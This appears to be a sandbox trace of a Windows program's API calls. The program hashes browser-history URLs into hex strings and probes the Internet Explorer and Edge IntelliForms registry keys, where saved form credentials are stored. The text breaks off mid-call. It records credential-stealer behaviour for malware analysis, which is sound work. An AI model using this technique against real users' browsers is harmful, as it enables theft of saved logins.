[0053.604] lstrlenA (lpString="") returned 0 [0053.604] lstrlenA (lpString="F2") returned 2 [0053.604] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760510 [0053.604] lstrcpyA (in: lpString1=0x760510, lpString2="" | out: lpString1="") returned="" [0053.604] lstrcatA (in: lpString1="", lpString2="F2" | out: lpString1="F2") returned="F2" [0053.604] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="66") returned 2 [0053.604] lstrlenA (lpString="F2") returned 2 [0053.604] lstrlenA (lpString="66") returned 2 [0053.604] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7605a0 [0053.604] lstrcpyA (in: lpString1=0x7605a0, lpString2="F2" | out: lpString1="F2") returned="F2" [0053.604] lstrcatA (in: lpString1="F2", lpString2="66" | out: lpString1="F266") returned="F266" [0053.604] LocalFree (hMem=0x760510) returned 0x0 [0053.604] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="93") returned 2 [0053.604] lstrlenA (lpString="F266") returned 4 [0053.604] lstrlenA (lpString="93") returned 2 [0053.604] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760510 [0053.604] lstrcpyA (in: lpString1=0x760510, lpString2="F266" | out: lpString1="F266") returned="F266" [0053.604] lstrcatA (in: lpString1="F266", lpString2="93" | out: lpString1="F26693") returned="F26693" [0053.604] LocalFree (hMem=0x7605a0) returned 0x0 [0053.604] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="76") returned 2 [0053.604] lstrlenA (lpString="F26693") returned 6 [0053.604] lstrlenA (lpString="76") returned 2 [0053.604] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.605] lstrcpyA (in: lpString1=0x7633b8, lpString2="F26693" | out: lpString1="F26693") returned="F26693" [0053.605] lstrcatA (in: lpString1="F26693", lpString2="76" | out: lpString1="F2669376") returned="F2669376" [0053.605] LocalFree (hMem=0x760510) returned 0x0 [0053.605] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AA") returned 2 [0053.605] lstrlenA (lpString="F2669376") returned 8 [0053.605] lstrlenA (lpString="AA") returned 2 [0053.605] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x76a200 [0053.605] lstrcpyA (in: lpString1=0x76a200, lpString2="F2669376" | out: lpString1="F2669376") returned="F2669376" [0053.605] lstrcatA (in: lpString1="F2669376", lpString2="AA" | out: lpString1="F2669376AA") returned="F2669376AA" [0053.605] LocalFree (hMem=0x7633b8) returned 0x0 [0053.605] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3F") returned 2 [0053.605] lstrlenA (lpString="F2669376AA") returned 10 [0053.605] lstrlenA (lpString="3F") returned 2 [0053.605] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.605] lstrcpyA (in: lpString1=0x7633b8, lpString2="F2669376AA" | out: lpString1="F2669376AA") returned="F2669376AA" [0053.605] lstrcatA (in: lpString1="F2669376AA", lpString2="3F" | out: lpString1="F2669376AA3F") returned="F2669376AA3F" [0053.605] LocalFree (hMem=0x76a200) returned 0x0 [0053.605] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="05") returned 2 [0053.605] lstrlenA (lpString="F2669376AA3F") returned 12 [0053.605] lstrlenA (lpString="05") returned 2 [0053.605] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x76a200 [0053.605] lstrcpyA (in: lpString1=0x76a200, lpString2="F2669376AA3F" | out: lpString1="F2669376AA3F") returned="F2669376AA3F" [0053.605] lstrcatA (in: lpString1="F2669376AA3F", lpString2="05" | out: lpString1="F2669376AA3F05") returned="F2669376AA3F05" [0053.605] LocalFree (hMem=0x7633b8) returned 0x0 [0053.605] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="24") returned 2 [0053.605] lstrlenA (lpString="F2669376AA3F05") returned 14 [0053.605] lstrlenA (lpString="24") returned 2 [0053.605] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763478 [0053.605] lstrcpyA (in: lpString1=0x763478, lpString2="F2669376AA3F05" | out: lpString1="F2669376AA3F05") returned="F2669376AA3F05" [0053.605] lstrcatA (in: lpString1="F2669376AA3F05", lpString2="24" | out: lpString1="F2669376AA3F0524") returned="F2669376AA3F0524" [0053.605] LocalFree (hMem=0x76a200) returned 0x0 [0053.605] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="73") returned 2 [0053.605] lstrlenA (lpString="F2669376AA3F0524") returned 16 [0053.605] lstrlenA (lpString="73") returned 2 [0053.605] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763518 [0053.605] lstrcpyA (in: lpString1=0x763518, lpString2="F2669376AA3F0524" | out: lpString1="F2669376AA3F0524") returned="F2669376AA3F0524" [0053.605] lstrcatA (in: lpString1="F2669376AA3F0524", lpString2="73" | out: lpString1="F2669376AA3F052473") returned="F2669376AA3F052473" [0053.605] LocalFree (hMem=0x763478) returned 0x0 [0053.605] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3F") returned 2 [0053.605] lstrlenA (lpString="F2669376AA3F052473") returned 18 [0053.605] lstrlenA (lpString="3F") returned 2 [0053.605] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763478 [0053.605] lstrcpyA (in: lpString1=0x763478, lpString2="F2669376AA3F052473" | out: lpString1="F2669376AA3F052473") returned="F2669376AA3F052473" [0053.605] lstrcatA (in: lpString1="F2669376AA3F052473", lpString2="3F" | out: lpString1="F2669376AA3F0524733F") returned="F2669376AA3F0524733F" [0053.605] LocalFree (hMem=0x763518) returned 0x0 [0053.605] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="62") returned 2 [0053.605] lstrlenA (lpString="F2669376AA3F0524733F") returned 20 [0053.605] lstrlenA (lpString="62") returned 2 [0053.605] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763518 [0053.605] lstrcpyA (in: lpString1=0x763518, lpString2="F2669376AA3F0524733F" | out: lpString1="F2669376AA3F0524733F") returned="F2669376AA3F0524733F" [0053.605] lstrcatA (in: lpString1="F2669376AA3F0524733F", lpString2="62" | out: lpString1="F2669376AA3F0524733F62") returned="F2669376AA3F0524733F62" [0053.605] LocalFree (hMem=0x763478) returned 0x0 [0053.605] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C4") returned 2 [0053.605] lstrlenA (lpString="F2669376AA3F0524733F62") returned 22 [0053.605] lstrlenA (lpString="C4") returned 2 [0053.605] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.605] lstrcpyA (in: lpString1=0x758820, lpString2="F2669376AA3F0524733F62" | out: lpString1="F2669376AA3F0524733F62") returned="F2669376AA3F0524733F62" [0053.605] lstrcatA (in: lpString1="F2669376AA3F0524733F62", lpString2="C4" | out: lpString1="F2669376AA3F0524733F62C4") returned="F2669376AA3F0524733F62C4" [0053.606] LocalFree (hMem=0x763518) returned 0x0 [0053.606] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="04") returned 2 [0053.606] lstrlenA (lpString="F2669376AA3F0524733F62C4") returned 24 [0053.606] lstrlenA (lpString="04") returned 2 [0053.606] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758b68 [0053.606] lstrcpyA (in: lpString1=0x758b68, lpString2="F2669376AA3F0524733F62C4" | out: lpString1="F2669376AA3F0524733F62C4") returned="F2669376AA3F0524733F62C4" [0053.606] lstrcatA (in: lpString1="F2669376AA3F0524733F62C4", lpString2="04" | out: lpString1="F2669376AA3F0524733F62C404") returned="F2669376AA3F0524733F62C404" [0053.606] LocalFree (hMem=0x758820) returned 0x0 [0053.606] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FD") returned 2 [0053.606] lstrlenA (lpString="F2669376AA3F0524733F62C404") returned 26 [0053.606] lstrlenA (lpString="FD") returned 2 [0053.606] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.606] lstrcpyA (in: lpString1=0x758820, lpString2="F2669376AA3F0524733F62C404" | out: lpString1="F2669376AA3F0524733F62C404") returned="F2669376AA3F0524733F62C404" [0053.606] lstrcatA (in: lpString1="F2669376AA3F0524733F62C404", lpString2="FD" | out: lpString1="F2669376AA3F0524733F62C404FD") returned="F2669376AA3F0524733F62C404FD" [0053.606] LocalFree (hMem=0x758b68) returned 0x0 [0053.606] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="14") returned 2 [0053.606] lstrlenA (lpString="F2669376AA3F0524733F62C404FD") returned 28 [0053.606] lstrlenA (lpString="14") returned 2 [0053.606] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758b68 [0053.606] lstrcpyA (in: lpString1=0x758b68, lpString2="F2669376AA3F0524733F62C404FD" | out: lpString1="F2669376AA3F0524733F62C404FD") returned="F2669376AA3F0524733F62C404FD" [0053.606] lstrcatA (in: lpString1="F2669376AA3F0524733F62C404FD", lpString2="14" | out: lpString1="F2669376AA3F0524733F62C404FD14") returned="F2669376AA3F0524733F62C404FD14" [0053.606] LocalFree (hMem=0x758820) returned 0x0 [0053.606] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EB") returned 2 [0053.606] lstrlenA (lpString="F2669376AA3F0524733F62C404FD14") returned 30 [0053.606] lstrlenA (lpString="EB") returned 2 [0053.606] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754cf0 [0053.606] lstrcpyA (in: lpString1=0x754cf0, lpString2="F2669376AA3F0524733F62C404FD14" | out: lpString1="F2669376AA3F0524733F62C404FD14") returned="F2669376AA3F0524733F62C404FD14" [0053.606] lstrcatA (in: lpString1="F2669376AA3F0524733F62C404FD14", lpString2="EB" | out: lpString1="F2669376AA3F0524733F62C404FD14EB") returned="F2669376AA3F0524733F62C404FD14EB" [0053.606] LocalFree (hMem=0x758b68) returned 0x0 [0053.606] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="14") returned 2 [0053.606] lstrlenA (lpString="F2669376AA3F0524733F62C404FD14EB") returned 32 [0053.606] lstrlenA (lpString="14") returned 2 [0053.606] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754da0 [0053.606] lstrcpyA (in: lpString1=0x754da0, lpString2="F2669376AA3F0524733F62C404FD14EB" | out: lpString1="F2669376AA3F0524733F62C404FD14EB") returned="F2669376AA3F0524733F62C404FD14EB" [0053.606] lstrcatA (in: lpString1="F2669376AA3F0524733F62C404FD14EB", lpString2="14" | out: lpString1="F2669376AA3F0524733F62C404FD14EB14") returned="F2669376AA3F0524733F62C404FD14EB14" [0053.606] LocalFree (hMem=0x754cf0) returned 0x0 [0053.606] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B6") returned 2 [0053.606] lstrlenA (lpString="F2669376AA3F0524733F62C404FD14EB14") returned 34 [0053.606] lstrlenA (lpString="B6") returned 2 [0053.606] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754cf0 [0053.606] lstrcpyA (in: lpString1=0x754cf0, lpString2="F2669376AA3F0524733F62C404FD14EB14" | out: lpString1="F2669376AA3F0524733F62C404FD14EB14") returned="F2669376AA3F0524733F62C404FD14EB14" [0053.606] lstrcatA (in: lpString1="F2669376AA3F0524733F62C404FD14EB14", lpString2="B6" | out: lpString1="F2669376AA3F0524733F62C404FD14EB14B6") returned="F2669376AA3F0524733F62C404FD14EB14B6" [0053.606] LocalFree (hMem=0x754da0) returned 0x0 [0053.606] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="56") returned 2 [0053.606] lstrlenA (lpString="F2669376AA3F0524733F62C404FD14EB14B6") returned 36 [0053.606] lstrlenA (lpString="56") returned 2 [0053.606] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754da0 [0053.606] lstrcpyA (in: lpString1=0x754da0, lpString2="F2669376AA3F0524733F62C404FD14EB14B6" | out: lpString1="F2669376AA3F0524733F62C404FD14EB14B6") returned="F2669376AA3F0524733F62C404FD14EB14B6" [0053.606] lstrcatA (in: lpString1="F2669376AA3F0524733F62C404FD14EB14B6", lpString2="56" | out: lpString1="F2669376AA3F0524733F62C404FD14EB14B656") returned="F2669376AA3F0524733F62C404FD14EB14B656" [0053.606] LocalFree (hMem=0x754cf0) returned 0x0 [0053.606] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F0") returned 2 [0053.606] lstrlenA (lpString="F2669376AA3F0524733F62C404FD14EB14B656") returned 38 [0053.606] lstrlenA (lpString="F0") returned 2 [0053.606] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750f50 [0053.606] lstrcpyA (in: lpString1=0x750f50, lpString2="F2669376AA3F0524733F62C404FD14EB14B656" | out: lpString1="F2669376AA3F0524733F62C404FD14EB14B656") returned="F2669376AA3F0524733F62C404FD14EB14B656" [0053.606] lstrcatA (in: lpString1="F2669376AA3F0524733F62C404FD14EB14B656", lpString2="F0" | out: lpString1="F2669376AA3F0524733F62C404FD14EB14B656F0") returned="F2669376AA3F0524733F62C404FD14EB14B656F0" [0053.606] LocalFree (hMem=0x754da0) returned 0x0 [0053.606] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5B") returned 2 [0053.607] lstrlenA (lpString="F2669376AA3F0524733F62C404FD14EB14B656F0") returned 40 [0053.607] lstrlenA (lpString="5B") returned 2 [0053.607] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750de0 [0053.607] lstrcpyA (in: lpString1=0x750de0, lpString2="F2669376AA3F0524733F62C404FD14EB14B656F0" | out: lpString1="F2669376AA3F0524733F62C404FD14EB14B656F0") returned="F2669376AA3F0524733F62C404FD14EB14B656F0" [0053.607] lstrcatA (in: lpString1="F2669376AA3F0524733F62C404FD14EB14B656F0", lpString2="5B" | out: lpString1="F2669376AA3F0524733F62C404FD14EB14B656F05B") returned="F2669376AA3F0524733F62C404FD14EB14B656F05B" [0053.607] LocalFree (hMem=0x750f50) returned 0x0 [0053.607] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.607] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.607] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.607] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.607] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.607] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.607] LocalFree (hMem=0x750de0) returned 0x0 [0053.607] CoTaskMemFree (pv=0x7571e0) [0053.607] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.607] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/i5D15rX3r9xVQa0.pdf", lpSrch="?") returned 0x0 [0053.607] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/i5D15rX3r9xVQa0.pdf") returned 81 [0053.607] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8A") returned 2 [0053.607] lstrlenA (lpString="") returned 0 [0053.607] lstrlenA (lpString="8A") returned 2 [0053.607] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760510 [0053.607] lstrcpyA (in: lpString1=0x760510, lpString2="" | out: lpString1="") returned="" [0053.607] lstrcatA (in: lpString1="", lpString2="8A" | out: lpString1="8A") returned="8A" [0053.607] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="17") returned 2 [0053.607] lstrlenA (lpString="8A") returned 2 [0053.607] lstrlenA (lpString="17") returned 2 [0053.607] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7605a0 [0053.607] lstrcpyA (in: lpString1=0x7605a0, lpString2="8A" | out: lpString1="8A") returned="8A" [0053.607] lstrcatA (in: lpString1="8A", lpString2="17" | out: lpString1="8A17") returned="8A17" [0053.607] LocalFree (hMem=0x760510) returned 0x0 [0053.607] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EE") returned 2 [0053.607] lstrlenA (lpString="8A17") returned 4 [0053.607] lstrlenA (lpString="EE") returned 2 [0053.607] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760510 [0053.608] lstrcpyA (in: lpString1=0x760510, lpString2="8A17" | out: lpString1="8A17") returned="8A17" [0053.608] lstrcatA (in: lpString1="8A17", lpString2="EE" | out: lpString1="8A17EE") returned="8A17EE" [0053.608] LocalFree (hMem=0x7605a0) returned 0x0 [0053.608] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F8") returned 2 [0053.608] lstrlenA (lpString="8A17EE") returned 6 [0053.608] lstrlenA (lpString="F8") returned 2 [0053.608] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.608] lstrcpyA (in: lpString1=0x7633b8, lpString2="8A17EE" | out: lpString1="8A17EE") returned="8A17EE" [0053.608] lstrcatA (in: lpString1="8A17EE", lpString2="F8" | out: lpString1="8A17EEF8") returned="8A17EEF8" [0053.608] LocalFree (hMem=0x760510) returned 0x0 [0053.608] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AA") returned 2 [0053.608] lstrlenA (lpString="8A17EEF8") returned 8 [0053.608] lstrlenA (lpString="AA") returned 2 [0053.608] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x76a200 [0053.608] lstrcpyA (in: lpString1=0x76a200, lpString2="8A17EEF8" | out: lpString1="8A17EEF8") returned="8A17EEF8" [0053.608] lstrcatA (in: lpString1="8A17EEF8", lpString2="AA" | out: lpString1="8A17EEF8AA") returned="8A17EEF8AA" [0053.608] LocalFree (hMem=0x7633b8) returned 0x0 [0053.608] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="98") returned 2 [0053.608] lstrlenA (lpString="8A17EEF8AA") returned 10 [0053.608] lstrlenA (lpString="98") returned 2 [0053.608] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.608] lstrcpyA (in: lpString1=0x7633b8, lpString2="8A17EEF8AA" | out: lpString1="8A17EEF8AA") returned="8A17EEF8AA" [0053.608] lstrcatA (in: lpString1="8A17EEF8AA", lpString2="98" | out: lpString1="8A17EEF8AA98") returned="8A17EEF8AA98" [0053.608] LocalFree (hMem=0x76a200) returned 0x0 [0053.608] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F2") returned 2 [0053.608] lstrlenA (lpString="8A17EEF8AA98") returned 12 [0053.608] lstrlenA (lpString="F2") returned 2 [0053.608] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x76a200 [0053.608] lstrcpyA (in: lpString1=0x76a200, lpString2="8A17EEF8AA98" | out: lpString1="8A17EEF8AA98") returned="8A17EEF8AA98" [0053.608] lstrcatA (in: lpString1="8A17EEF8AA98", lpString2="F2" | out: lpString1="8A17EEF8AA98F2") returned="8A17EEF8AA98F2" [0053.608] LocalFree (hMem=0x7633b8) returned 0x0 [0053.608] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="80") returned 2 [0053.608] lstrlenA (lpString="8A17EEF8AA98F2") returned 14 [0053.608] lstrlenA (lpString="80") returned 2 [0053.608] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763518 [0053.608] lstrcpyA (in: lpString1=0x763518, lpString2="8A17EEF8AA98F2" | out: lpString1="8A17EEF8AA98F2") returned="8A17EEF8AA98F2" [0053.608] lstrcatA (in: lpString1="8A17EEF8AA98F2", lpString2="80" | out: lpString1="8A17EEF8AA98F280") returned="8A17EEF8AA98F280" [0053.608] LocalFree (hMem=0x76a200) returned 0x0 [0053.608] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AC") returned 2 [0053.608] lstrlenA (lpString="8A17EEF8AA98F280") returned 16 [0053.608] lstrlenA (lpString="AC") returned 2 [0053.608] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763658 [0053.608] lstrcpyA (in: lpString1=0x763658, lpString2="8A17EEF8AA98F280" | out: lpString1="8A17EEF8AA98F280") returned="8A17EEF8AA98F280" [0053.608] lstrcatA (in: lpString1="8A17EEF8AA98F280", lpString2="AC" | out: lpString1="8A17EEF8AA98F280AC") returned="8A17EEF8AA98F280AC" [0053.608] LocalFree (hMem=0x763518) returned 0x0 [0053.608] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D9") returned 2 [0053.608] lstrlenA (lpString="8A17EEF8AA98F280AC") returned 18 [0053.608] lstrlenA (lpString="D9") returned 2 [0053.608] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763518 [0053.608] lstrcpyA (in: lpString1=0x763518, lpString2="8A17EEF8AA98F280AC" | out: lpString1="8A17EEF8AA98F280AC") returned="8A17EEF8AA98F280AC" [0053.608] lstrcatA (in: lpString1="8A17EEF8AA98F280AC", lpString2="D9" | out: lpString1="8A17EEF8AA98F280ACD9") returned="8A17EEF8AA98F280ACD9" [0053.608] LocalFree (hMem=0x763658) returned 0x0 [0053.608] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D7") returned 2 [0053.608] lstrlenA (lpString="8A17EEF8AA98F280ACD9") returned 20 [0053.608] lstrlenA (lpString="D7") returned 2 [0053.608] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763658 [0053.608] lstrcpyA (in: lpString1=0x763658, lpString2="8A17EEF8AA98F280ACD9" | out: lpString1="8A17EEF8AA98F280ACD9") returned="8A17EEF8AA98F280ACD9" [0053.609] lstrcatA (in: lpString1="8A17EEF8AA98F280ACD9", lpString2="D7" | out: lpString1="8A17EEF8AA98F280ACD9D7") returned="8A17EEF8AA98F280ACD9D7" [0053.609] LocalFree (hMem=0x763518) returned 0x0 [0053.609] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="30") returned 2 [0053.609] lstrlenA (lpString="8A17EEF8AA98F280ACD9D7") returned 22 [0053.609] lstrlenA (lpString="30") returned 2 [0053.609] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758b68 [0053.609] lstrcpyA (in: lpString1=0x758b68, lpString2="8A17EEF8AA98F280ACD9D7" | out: lpString1="8A17EEF8AA98F280ACD9D7") returned="8A17EEF8AA98F280ACD9D7" [0053.609] lstrcatA (in: lpString1="8A17EEF8AA98F280ACD9D7", lpString2="30" | out: lpString1="8A17EEF8AA98F280ACD9D730") returned="8A17EEF8AA98F280ACD9D730" [0053.609] LocalFree (hMem=0x763658) returned 0x0 [0053.609] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="53") returned 2 [0053.609] lstrlenA (lpString="8A17EEF8AA98F280ACD9D730") returned 24 [0053.609] lstrlenA (lpString="53") returned 2 [0053.609] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.609] lstrcpyA (in: lpString1=0x758820, lpString2="8A17EEF8AA98F280ACD9D730" | out: lpString1="8A17EEF8AA98F280ACD9D730") returned="8A17EEF8AA98F280ACD9D730" [0053.609] lstrcatA (in: lpString1="8A17EEF8AA98F280ACD9D730", lpString2="53" | out: lpString1="8A17EEF8AA98F280ACD9D73053") returned="8A17EEF8AA98F280ACD9D73053" [0053.609] LocalFree (hMem=0x758b68) returned 0x0 [0053.609] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3C") returned 2 [0053.609] lstrlenA (lpString="8A17EEF8AA98F280ACD9D73053") returned 26 [0053.609] lstrlenA (lpString="3C") returned 2 [0053.609] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758b68 [0053.609] lstrcpyA (in: lpString1=0x758b68, lpString2="8A17EEF8AA98F280ACD9D73053" | out: lpString1="8A17EEF8AA98F280ACD9D73053") returned="8A17EEF8AA98F280ACD9D73053" [0053.609] lstrcatA (in: lpString1="8A17EEF8AA98F280ACD9D73053", lpString2="3C" | out: lpString1="8A17EEF8AA98F280ACD9D730533C") returned="8A17EEF8AA98F280ACD9D730533C" [0053.609] LocalFree (hMem=0x758820) returned 0x0 [0053.609] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5A") returned 2 [0053.609] lstrlenA (lpString="8A17EEF8AA98F280ACD9D730533C") returned 28 [0053.609] lstrlenA (lpString="5A") returned 2 [0053.609] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.609] lstrcpyA (in: lpString1=0x758820, lpString2="8A17EEF8AA98F280ACD9D730533C" | out: lpString1="8A17EEF8AA98F280ACD9D730533C") returned="8A17EEF8AA98F280ACD9D730533C" [0053.609] lstrcatA (in: lpString1="8A17EEF8AA98F280ACD9D730533C", lpString2="5A" | out: lpString1="8A17EEF8AA98F280ACD9D730533C5A") returned="8A17EEF8AA98F280ACD9D730533C5A" [0053.609] LocalFree (hMem=0x758b68) returned 0x0 [0053.609] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="33") returned 2 [0053.609] lstrlenA (lpString="8A17EEF8AA98F280ACD9D730533C5A") returned 30 [0053.609] lstrlenA (lpString="33") returned 2 [0053.609] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754fb0 [0053.609] lstrcpyA (in: lpString1=0x754fb0, lpString2="8A17EEF8AA98F280ACD9D730533C5A" | out: lpString1="8A17EEF8AA98F280ACD9D730533C5A") returned="8A17EEF8AA98F280ACD9D730533C5A" [0053.609] lstrcatA (in: lpString1="8A17EEF8AA98F280ACD9D730533C5A", lpString2="33" | out: lpString1="8A17EEF8AA98F280ACD9D730533C5A33") returned="8A17EEF8AA98F280ACD9D730533C5A33" [0053.609] LocalFree (hMem=0x758820) returned 0x0 [0053.609] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B6") returned 2 [0053.609] lstrlenA (lpString="8A17EEF8AA98F280ACD9D730533C5A33") returned 32 [0053.609] lstrlenA (lpString="B6") returned 2 [0053.609] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x755060 [0053.609] lstrcpyA (in: lpString1=0x755060, lpString2="8A17EEF8AA98F280ACD9D730533C5A33" | out: lpString1="8A17EEF8AA98F280ACD9D730533C5A33") returned="8A17EEF8AA98F280ACD9D730533C5A33" [0053.609] lstrcatA (in: lpString1="8A17EEF8AA98F280ACD9D730533C5A33", lpString2="B6" | out: lpString1="8A17EEF8AA98F280ACD9D730533C5A33B6") returned="8A17EEF8AA98F280ACD9D730533C5A33B6" [0053.609] LocalFree (hMem=0x754fb0) returned 0x0 [0053.609] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A2") returned 2 [0053.609] lstrlenA (lpString="8A17EEF8AA98F280ACD9D730533C5A33B6") returned 34 [0053.609] lstrlenA (lpString="A2") returned 2 [0053.609] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754fb0 [0053.609] lstrcpyA (in: lpString1=0x754fb0, lpString2="8A17EEF8AA98F280ACD9D730533C5A33B6" | out: lpString1="8A17EEF8AA98F280ACD9D730533C5A33B6") returned="8A17EEF8AA98F280ACD9D730533C5A33B6" [0053.609] lstrcatA (in: lpString1="8A17EEF8AA98F280ACD9D730533C5A33B6", lpString2="A2" | out: lpString1="8A17EEF8AA98F280ACD9D730533C5A33B6A2") returned="8A17EEF8AA98F280ACD9D730533C5A33B6A2" [0053.610] LocalFree (hMem=0x755060) returned 0x0 [0053.610] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7E") returned 2 [0053.610] lstrlenA (lpString="8A17EEF8AA98F280ACD9D730533C5A33B6A2") returned 36 [0053.610] lstrlenA (lpString="7E") returned 2 [0053.610] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x755060 [0053.610] lstrcpyA (in: lpString1=0x755060, lpString2="8A17EEF8AA98F280ACD9D730533C5A33B6A2" | out: lpString1="8A17EEF8AA98F280ACD9D730533C5A33B6A2") returned="8A17EEF8AA98F280ACD9D730533C5A33B6A2" [0053.610] lstrcatA (in: 